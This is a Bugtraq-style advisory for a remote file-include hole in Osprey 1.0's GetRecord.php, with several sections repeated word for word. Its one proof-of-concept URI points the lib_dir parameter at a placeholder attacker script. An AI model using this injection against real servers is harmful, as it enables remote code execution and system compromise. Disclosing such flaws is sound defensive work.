Osprey GetRecord.PHP Remote File Include Vulnerability
BID:20552
Info
Osprey GetRecord.PHP Remote File Include Vulnerability
| Bugtraq ID: | 20552 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 16 2006 12:00AM |
| Updated: | Oct 16 2006 10:24PM |
| Credit: | Kw3[R]Ln is credited with the discovery of this vulnerability. |
| Vulnerable: |
ibiblio Osprey 1.0 |
| Not Vulnerable: | |
Discussion
Osprey GetRecord.PHP Remote File Include Vulnerability
Osprey is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
This issue affects version 1.0 and earlier.
Osprey is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
This issue affects version 1.0 and earlier.
Exploit / POC
Osprey GetRecord.PHP Remote File Include Vulnerability
An attacker can exploit this issue via a web client.
The following proof-of-concept URI is available to demonstrate this issue:
http://www.example.com/[path]/web/lib/xml/oai/GetRecord.php?lib_dir=[Evil_Script]
An attacker can exploit this issue via a web client.
The following proof-of-concept URI is available to demonstrate this issue:
http://www.example.com/[path]/web/lib/xml/oai/GetRecord.php?lib_dir=[Evil_Script]
Solution / Fix
Osprey GetRecord.PHP Remote File Include Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].